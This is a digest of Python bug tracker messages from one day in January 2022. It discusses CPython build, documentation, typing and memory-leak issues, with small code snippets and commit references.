Message-ID: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> New submission from Robert Xiao : I am building unofficial macOS packages for personal use. My main build machine is running macOS Monterey 12.1 and Xcode 13.2.1. I recently attempted to build Python 3.8.12 as a package using build-installer.py. This worked fine after a bit of dependency wrangling (mostly, downloading the right Tcl/Tk source files manually) and produced an installer package and DMG as expected. However, it is apparently impossible to actually sign the package. I receive the following error: % productsign --sign 'Apple Development: ...' /private/tmp/_py/installer/Python.mpkg /private/tmp/_py/installer/Python-signed.mpkg productsign: preparing "Python.mpkg" for signing ... productsign: error: component package "PythonFramework-3.8.pkg" uses legacy installer features that make it impossible to sign. Unfortunately, searching for "legacy installer features" yields zero useful hits, which is a bit of a surprise. I assume that this error message was added to a recent macOS/Xcode build, but I am unable to downgrade easily. I believe this is probably being triggered because the way the packages are put together differs from the way pkgbuild/productbuild would do it. The longer term solution would probably be to switch to those tools instead of assembling the packages by hand. Issue reproduces with Python 3.11a4 sources as well, so I'm tagging it as applying for 3.8~3.11. ---------- components: Build messages: 411857 nosy: nneonneo priority: normal severity: normal status: open title: macOS installers cannot be signed on Monterey versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:53:04 2022 From: report at bugs.python.org (Robert Xiao) Date: Thu, 27 Jan 2022 11:53:04 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643284384.77.0.952920685323.issue46548@roundup.psfhosted.org> Change by Robert Xiao : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:53:41 2022 From: report at bugs.python.org (Matt B) Date: Thu, 27 Jan 2022 11:53:41 +0000 Subject: [issue42343] threading.local documentation should be on the net... In-Reply-To: <1605266273.51.0.273989729799.issue42343@roundup.psfhosted.org> Message-ID: <1643284421.56.0.290703183329.issue42343@roundup.psfhosted.org> Matt B added the comment: @rhettinger, the docstring[1] alluded to in the docs is quite lengthy. Are you suggesting copying it straight across to the standard library documentation? If not, can you give (or link to) some documentation standards or other guidance on constructing a viable PR? Also, for newcomer friendly issues, it is helpful to link to instructions on how to construct and submit a PR for review. That will increase the likelihood of a community-provided fix. [1]: https://github.com/python/cpython/blob/main/Lib/_threading_local.py ---------- nosy: +posita _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:56:07 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 27 Jan 2022 11:56:07 +0000 Subject: [issue46544] `textwrap.TextWrapper` leaks two intermediate vars into class namespace In-Reply-To: <1643279113.63.0.318517271456.issue46544@roundup.psfhosted.org> Message-ID: <1643284567.7.0.176621207959.issue46544@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 82bce54614f8116a40454fbbbf96a3fd460ca7df by Nikita Sobolev in branch 'main': bpo-46544: Do not leak `x` and `uspace` in textwrap.TextWrapper (GH-30955) https://github.com/python/cpython/commit/82bce54614f8116a40454fbbbf96a3fd460ca7df ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:56:52 2022 From: report at bugs.python.org (Matt B) Date: Thu, 27 Jan 2022 11:56:52 +0000 Subject: [issue42343] threading.local documentation should be on the net... In-Reply-To: <1605266273.51.0.273989729799.issue42343@roundup.psfhosted.org> Message-ID: <1643284612.59.0.819984063365.issue42343@roundup.psfhosted.org> Matt B added the comment: @ztane, if you are interested in trying your hand at a PR, these will be generally useful: * https://devguide.python.org/ * https://devguide.python.org/documenting/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 07:20:48 2022 From: report at bugs.python.org (Nova) Date: Thu, 27 Jan 2022 12:20:48 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643286048.78.0.568354166904.issue46487@roundup.psfhosted.org> Change by Nova : ---------- keywords: +patch pull_requests: +29137 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30958 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 07:28:21 2022 From: report at bugs.python.org (Robert Xiao) Date: Thu, 27 Jan 2022 12:28:21 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643286501.28.0.800768979601.issue46548@roundup.psfhosted.org> Robert Xiao added the comment: I noticed that the official installer seems to be built using an entirely different process, as it produces a single-file .pkg in xar format with an embedded Distribution file, rather than an .mpkg directory. Is there documentation on how these packages are generated? It seems like the scripts for that aren't in the Python source tree? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 07:35:00 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 27 Jan 2022 12:35:00 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643286900.92.0.783606542796.issue44791@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset ecfacc362dd7fef7715dcd94f2e2ca6c622ef115 by Serhiy Storchaka in branch 'main': bpo-44791: Fix substitution of ParamSpec in Concatenate with different parameter expressions (GH-27518) https://github.com/python/cpython/commit/ecfacc362dd7fef7715dcd94f2e2ca6c622ef115 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 07:35:07 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 12:35:07 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643286907.03.0.848938091501.issue44791@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +29138 pull_request: https://github.com/python/cpython/pull/30959 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:01:34 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 13:01:34 +0000 Subject: [issue44791] Substitution of ParamSpec in Concatenate In-Reply-To: <1627727114.02.0.621938171006.issue44791@roundup.psfhosted.org> Message-ID: <1643288494.9.0.39732426099.issue44791@roundup.psfhosted.org> miss-islington added the comment: New changeset 89db09029566cf3af04b540e33fe1ff9b32f8c8b by Miss Islington (bot) in branch '3.10': bpo-44791: Fix substitution of ParamSpec in Concatenate with different parameter expressions (GH-27518) https://github.com/python/cpython/commit/89db09029566cf3af04b540e33fe1ff9b32f8c8b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:03:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 13:03:56 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643288636.01.0.597970487987.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: New changeset c7f810b34d91a5c2fbe0a8385562015d2dd961f2 by Kumar Aditya in branch 'main': bpo-46476: Fix memory leak in code objects generated by deepfreeze (GH-30853) https://github.com/python/cpython/commit/c7f810b34d91a5c2fbe0a8385562015d2dd961f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:12:19 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 Jan 2022 13:12:19 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643289139.79.0.343246691042.issue43916@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Can we close this issue? Or is there a remaining task? 3.9 is still affected; we should fix those types first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:12:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 Jan 2022 13:12:27 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643289147.57.0.26147199478.issue43916@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- versions: +Python 3.9 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:13:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 Jan 2022 13:13:27 +0000 Subject: [issue43916] Check that new heap types cannot be created uninitialised: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643289207.19.0.802350494812.issue43916@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- title: Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag -> Check that new heap types cannot be created uninitialised: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:13:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 13:13:54 +0000 Subject: [issue46476] Not all memory allocated by _Py_Quicken() is released at Python exit In-Reply-To: <1642897771.95.0.216870338714.issue46476@roundup.psfhosted.org> Message-ID: <1643289234.45.0.106396300456.issue46476@roundup.psfhosted.org> STINNER Victor added the comment: Thanks Kumar! Your change fixed my issue: $ ./python -I -X showrefcount -c pass [-5 refs, 0 blocks] Python no longer leaks memory at exit: it "leaks" exactly *zero* memory block. The negative reference count is likely caused by bpo-46449. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:15:12 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 Jan 2022 13:15:12 +0000 Subject: [issue43916] Check that new heap types cannot be created uninitialised: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643289312.18.0.537443896804.issue43916@roundup.psfhosted.org> Erlend E. Aasland added the comment: FYI: There are only two bug-fix releases left for 3.9. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:15:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 13:15:54 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643289354.94.0.134425435804.issue46449@roundup.psfhosted.org> STINNER Victor added the comment: The bpo-46476 added _Py_Deepfreeze_Fini() and _PyStaticCode_Dealloc() functions: commit c7f810b34d91a5c2fbe0a8385562015d2dd961f2. If we need to ajust _Py_RefTotal manually, *maybe* it can be done there? I don't understand well how static/immortal code object lead to negative _Py_RefTotal. For me, Py_INCREF() and Py_DECREF() should still be used on these objects, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:18:58 2022 From: report at bugs.python.org (din14970) Date: Thu, 27 Jan 2022 13:18:58 +0000 Subject: [issue46549] Error in list comprehension conditionals when used in class attributes Message-ID: <1643289538.01.0.240777935077.issue46549@roundup.psfhosted.org> New submission from din14970 : I discovered this one by accident. When using a conditional inside a list comprehension in class attributes one can get some unexpected behavior. The following does not work: ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [i for i in list_1 if i not in exclude] ``` It throws a `NameError` saying exclude isn't defined. The following snippets do work: ``` exclude = [2, 4] class TestClass: list_1 = [1, 2, 3, 4, 5] list_2 = [i for i in list_1 if i not in exclude] ``` ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [] for i in list_1: if i not in exclude: list_2.append(i) ``` ``` class TestClass: list_1 = [1, 2, 3, 4, 5] exclude = [2, 4] list_2 = [i for i in list_1] ``` So it seems that only when a class attribute is used in the conditional part of another class attribute a `NameError` is raised. ---------- components: Interpreter Core messages: 411869 nosy: din14970 priority: normal severity: normal status: open title: Error in list comprehension conditionals when used in class attributes type: behavior versions: Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:30:21 2022 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 27 Jan 2022 13:30:21 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643290221.18.0.290090828648.issue44734@roundup.psfhosted.org> Petr Viktorin added the comment: > The first and last test should use assertAlmostEqual with a suitable tolerance (the default tolerance is probably fine). The merged PR only added tolerance to the last test. On some architectures, the first test still fails. (No one is to blame -- this comment should apply to one line but GitHub shows two lines as context: https://github.com/python/cpython/pull/27343#pullrequestreview-714345826 ) Karolina's new PR is waiting for CLA confirmation. ---------- nosy: +petr.viktorin status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:41:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 13:41:14 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1643290874.75.0.986544814889.issue46458@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 3d2ce3471646704ebd5252f4b20f065f139a53b1 by Irit Katriel in branch 'main': bpo-46458: emit code for else of a try block immediately after the try body (GH-30751) https://github.com/python/cpython/commit/3d2ce3471646704ebd5252f4b20f065f139a53b1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:42:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 13:42:43 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1643290963.21.0.405966417129.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: Thanks to recent enhancements, epecially in bpo-46417, the last memory blocks are now released at Python exit! The initial issue has been fixed!!! This bug was 15 years old! Current main branch: $ ./python -I -X showrefcount -c pass [-5 refs, 0 blocks] "0 blocks" means that Python no longer leaks memory at exit. You can use Valgrind to check it ;-) The negative reference count is being discussed in bpo-46449. I close this issue since it has an insane history: too many pull requests, changes, etc. While the work is not 100% done (we need to convert remaining static types to heap types, and convert extensions to multi-phase init), I prefer to address remaining issues in (existing or new) separated issues. See for example the bpo-40077: "Convert static types to heap types: use PyType_FromSpec()". I would like to thank everybody who helped to fix this issue! It's hard to list all names since this issue is a meta issues made of many sub-issues which also have sub-issues. Authors of PEP 573 and PEP 630 also helped fixing this issue! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:51:29 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Thu, 27 Jan 2022 13:51:29 +0000 Subject: [issue46549] Error in list comprehension conditionals when used in class attributes In-Reply-To: <1643289538.01.0.240777935077.issue46549@roundup.psfhosted.org> Message-ID: <1643291489.68.0.0437795809608.issue46549@roundup.psfhosted.org> Dennis Sweeney added the comment: I believe this is a duplicate of bpo-45899 ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:51:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 13:51:31 +0000 Subject: [issue43916] Check that new heap types cannot be created uninitialised: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1643291491.59.0.662784476409.issue43916@roundup.psfhosted.org> STINNER Victor added the comment: > 3.9 is still affected; we should fix those types first. I'm against backporting the new type flag, but we can try to set explicitly tp_set to NULL *after* calling PyType_Ready(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:54:25 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Thu, 27 Jan 2022 13:54:25 +0000 Subject: [issue46549] Error in list comprehension conditionals when used in class attributes In-Reply-To: <1643289538.01.0.240777935077.issue46549@roundup.psfhosted.org> Message-ID: <1643291665.39.0.278341116075.issue46549@roundup.psfhosted.org> Dennis Sweeney added the comment: See also https://stackoverflow.com/questions/13905741/accessing-class-variables-from-a-list-comprehension-in-the-class-definition ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:58:03 2022 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 27 Jan 2022 13:58:03 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643291883.44.0.98253781774.issue44734@roundup.psfhosted.org> Petr Viktorin added the comment: New changeset aa78287bc6d1c4fc07ee134642eb72db67b771a0 by Karolina Surma in branch 'main': bpo-44734: Fix floating point precision in test_turtle (GH-30910) https://github.com/python/cpython/commit/aa78287bc6d1c4fc07ee134642eb72db67b771a0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:58:03 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 13:58:03 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643291883.68.0.745362041403.issue44734@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29139 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/30960 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 08:58:08 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 13:58:08 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643291888.33.0.835061843744.issue44734@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29140 pull_request: https://github.com/python/cpython/pull/30961 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:00:30 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 14:00:30 +0000 Subject: [issue45703] importlib.invalidate_caches() does not invalidate _NamespacePath's _last_parent_path-based cache In-Reply-To: <1635938516.86.0.42328943914.issue45703@roundup.psfhosted.org> Message-ID: <1643292030.68.0.575542310015.issue45703@roundup.psfhosted.org> miss-islington added the comment: New changeset 5c39e474dbd61397c2ff877fa17d742bf4646702 by Petr Viktorin in branch '3.10': [3.10] bpo-45703: Invalidate _NamespacePath cache on importlib.invalidate_cache (GH-29384) (GH-30922) https://github.com/python/cpython/commit/5c39e474dbd61397c2ff877fa17d742bf4646702 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:13:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 14:13:37 +0000 Subject: [issue46098] Missing test for multi-line errors in traceback In-Reply-To: <1639654129.22.0.790505803608.issue46098@roundup.psfhosted.org> Message-ID: <1643292817.25.0.734203903872.issue46098@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 183f8d57fa5959e7578e7f470edc364edb23caca by Russel Webber in branch 'main': bpo-46098: Add test for multiline syntax error traceback (GH-30695) https://github.com/python/cpython/commit/183f8d57fa5959e7578e7f470edc364edb23caca ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:16:30 2022 From: report at bugs.python.org (April King) Date: Thu, 27 Jan 2022 14:16:30 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643292990.8.0.15451118504.issue42982@roundup.psfhosted.org> April King added the comment: The code snippet still uses 100000. Given that many people will simply copy-and-paste without questioning, should we update that too? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:21:21 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 14:21:21 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643293281.58.0.498039383516.issue44734@roundup.psfhosted.org> miss-islington added the comment: New changeset 486a4b382943ed4c965a0a36b177e8e0b083a6e5 by Miss Islington (bot) in branch '3.10': bpo-44734: Fix floating point precision in test_turtle (GH-30910) https://github.com/python/cpython/commit/486a4b382943ed4c965a0a36b177e8e0b083a6e5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:24:16 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 14:24:16 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643293456.78.0.555022505428.issue44734@roundup.psfhosted.org> miss-islington added the comment: New changeset 8e98ccc4c3fd1a12f168466422d206d814eba0f9 by Miss Islington (bot) in branch '3.9': bpo-44734: Fix floating point precision in test_turtle (GH-30910) https://github.com/python/cpython/commit/8e98ccc4c3fd1a12f168466422d206d814eba0f9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:28:59 2022 From: report at bugs.python.org (Petr Viktorin) Date: Thu, 27 Jan 2022 14:28:59 +0000 Subject: [issue44734] turtle: tests for Vec2D.__abs__ are too strict In-Reply-To: <1627145207.46.0.348646231014.issue44734@roundup.psfhosted.org> Message-ID: <1643293739.26.0.236125578882.issue44734@roundup.psfhosted.org> Change by Petr Viktorin : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:29:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 14:29:16 +0000 Subject: [issue46098] Missing test for multi-line errors in traceback In-Reply-To: <1639654129.22.0.790505803608.issue46098@roundup.psfhosted.org> Message-ID: <1643293756.2.0.693237340321.issue46098@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:29:27 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 14:29:27 +0000 Subject: [issue46098] Missing test for multi-line errors in traceback In-Reply-To: <1639654129.22.0.790505803608.issue46098@roundup.psfhosted.org> Message-ID: <1643293767.71.0.979274251363.issue46098@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Tests _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:29:53 2022 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 Jan 2022 14:29:53 +0000 Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name` variable In-Reply-To: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org> Message-ID: <1643293793.56.0.992938845872.issue46546@roundup.psfhosted.org> Jason R. Coombs added the comment: Thanks Nikita for the report. I agree, it's inelegant that this property leaks. Because this code is synced with importlib_metadata, I'm not sure it's worth the effort of changing it here. Your change here implies a cherry-pick to the backport and updating its changelog there too. I'd be more inclined to accept a change like this on importlib_metadata, which has a faster iteration and whose changes get naturally incorporated into CPython periodically. What's the harm in leaving this attribute on a class that is itself standing in for deprecated behavior and slated for removal? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:34:19 2022 From: report at bugs.python.org (Russel Webber) Date: Thu, 27 Jan 2022 14:34:19 +0000 Subject: [issue31582] Add _pth breadcrumb to sys.path documentation In-Reply-To: <1506401240.1.0.91731713201.issue31582@psf.upfronthosting.co.za> Message-ID: <1643294059.71.0.442102168156.issue31582@roundup.psfhosted.org> Russel Webber added the comment: I am happy to take a look at improving the documentation. I see the new getpath.py has very extensive commenting. Should I simply mention ._pth files as in the original issue from 5 years ago, or are you looking for documentation of how sys.path is initialised based on the comments in getpath.py? ---------- nosy: +RusselWebber _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:44:04 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 14:44:04 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1643294644.79.0.802971146381.issue46416@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:47:05 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 27 Jan 2022 14:47:05 +0000 Subject: [issue46449] Deep-freezed modules create inconsistency in sys.gettotalrefcount() (_Py_Reftotal) In-Reply-To: <1642734126.76.0.617739526871.issue46449@roundup.psfhosted.org> Message-ID: <1643294825.42.0.75112046433.issue46449@roundup.psfhosted.org> Christian Heimes added the comment: The problem is in PyImport_ImportFrozenModuleObject -> unmarshal_frozen_code() -> frozen_info.get_code() -> _Py_get_importlib__bootstrap_external_toplevel() call chain. PyImport_ImportFrozenModuleObject() expects unmarshal_frozen_code() to return a strong reference to the code object. However a frozen_info struct with a get_code() function returns a borrowed reference from deepfreeze.c's toplevel code object. # --- test.c #include int main(int argc, char *argv[]) { for (int i=1; i <= 100; i++) { Py_SetProgramName(L"./_testembed"); Py_Initialize(); Py_Finalize(); printf("Loop #%d: %zd refs, bootstrap refs: %zd\n", i, _Py_RefTotal, Py_REFCNT(_Py_get_importlib__bootstrap_external_toplevel())); } } # --- $ gcc -IInclude -I. -o test test.c libpython3.11d.a -lm && ./test Loop #1: -3 refs, bootstrap refs: 999999998 Loop #2: -8 refs, bootstrap refs: 999999997 Loop #3: -13 refs, bootstrap refs: 999999996 Loop #4: -18 refs, bootstrap refs: 999999995 Loop #5: -23 refs, bootstrap refs: 999999994 Loop #6: -28 refs, bootstrap refs: 999999993 Loop #7: -33 refs, bootstrap refs: 999999992 Loop #8: -38 refs, bootstrap refs: 999999991 Loop #9: -43 refs, bootstrap refs: 999999990 Loop #10: -48 refs, bootstrap refs: 999999989 After I changed unmarshal_frozen_code() to "return Py_NewRef(code);", the reference count of the frozen bootstrap module stays stable, but total refcount increases over time: Loop #1: 10 refs, bootstrap refs: 999999999 Loop #2: 18 refs, bootstrap refs: 999999999 Loop #3: 26 refs, bootstrap refs: 999999999 Loop #4: 34 refs, bootstrap refs: 999999999 Loop #5: 42 refs, bootstrap refs: 999999999 Loop #6: 50 refs, bootstrap refs: 999999999 Loop #7: 58 refs, bootstrap refs: 999999999 Loop #8: 66 refs, bootstrap refs: 999999999 Loop #9: 74 refs, bootstrap refs: 999999999 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:52:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 14:52:17 +0000 Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name` variable In-Reply-To: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org> Message-ID: <1643295137.43.0.702657819624.issue46546@roundup.psfhosted.org> Nikita Sobolev added the comment: Thanks, Jason! I've submitted https://github.com/python/importlib_metadata/pull/365 > What's the harm in leaving this attribute on a class that is itself standing in for deprecated behavior and slated for removal? I think it does not do much harm, but there are several things that it affects: 1. Typing, we have to annotate it in typeshed, or write a custom ignore rule for our test suite 2. It is listed in `help()`: ``` | ---------------------------------------------------------------------- | Data and other attributes defined here: | | __hash__ = None | | method_name = 'sort' | | ---------------------------------------------------------------------- ``` 3. It is also in `dir(importlib.metadata.DeprecatedList)` So, even if we remove this class in some time, we still should care about it until the removal :) I am going to close this as "third party". ---------- resolution: -> third party stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 09:55:32 2022 From: report at bugs.python.org (Ian Lee) Date: Thu, 27 Jan 2022 14:55:32 +0000 Subject: [issue46550] __slots__ updates despite being read-only Message-ID: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> New submission from Ian Lee : Hi there - I admit that I don't really understand the internals here, so maybe there is a good reason for this, but I thought it was weird when I just ran across it. If I create a new class `A`, and set it's `__slots`: ```python ? ~ docker run -it python:3.10 Python 3.10.2 (main, Jan 26 2022, 20:07:09) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >>> class A(object): ... __slots__ = ["foo"] ... >>> A.__slots__ ['foo'] ``` If I then go to add a new attribute to extend it on the class, that works: ```python >>> A.__slots__ += ["bar"] >>> A.__slots__ ['foo', 'bar'] ``` But then if I create an instance of that class, and try to update `__slots__` on that instnace, I get an AttributeError that `__slots__` is read-only, and yet it still is updating the `__slots__` variable: ```python >>> a = A() >>> a.__slots__ ['foo', 'bar'] >>> a.__slots__ += ["baz"] Traceback (most recent call last): File "", line 1, in AttributeError: 'A' object attribute '__slots__' is read-only >>> a.__slots__ ['foo', 'bar', 'baz'] >>> A.__slots__ ['foo', 'bar', 'baz'] ``` Maybe there is a good reason for this, but I was definitely surprised that I would get a "this attribute is read-only" error, and yet still see that attribute updated. 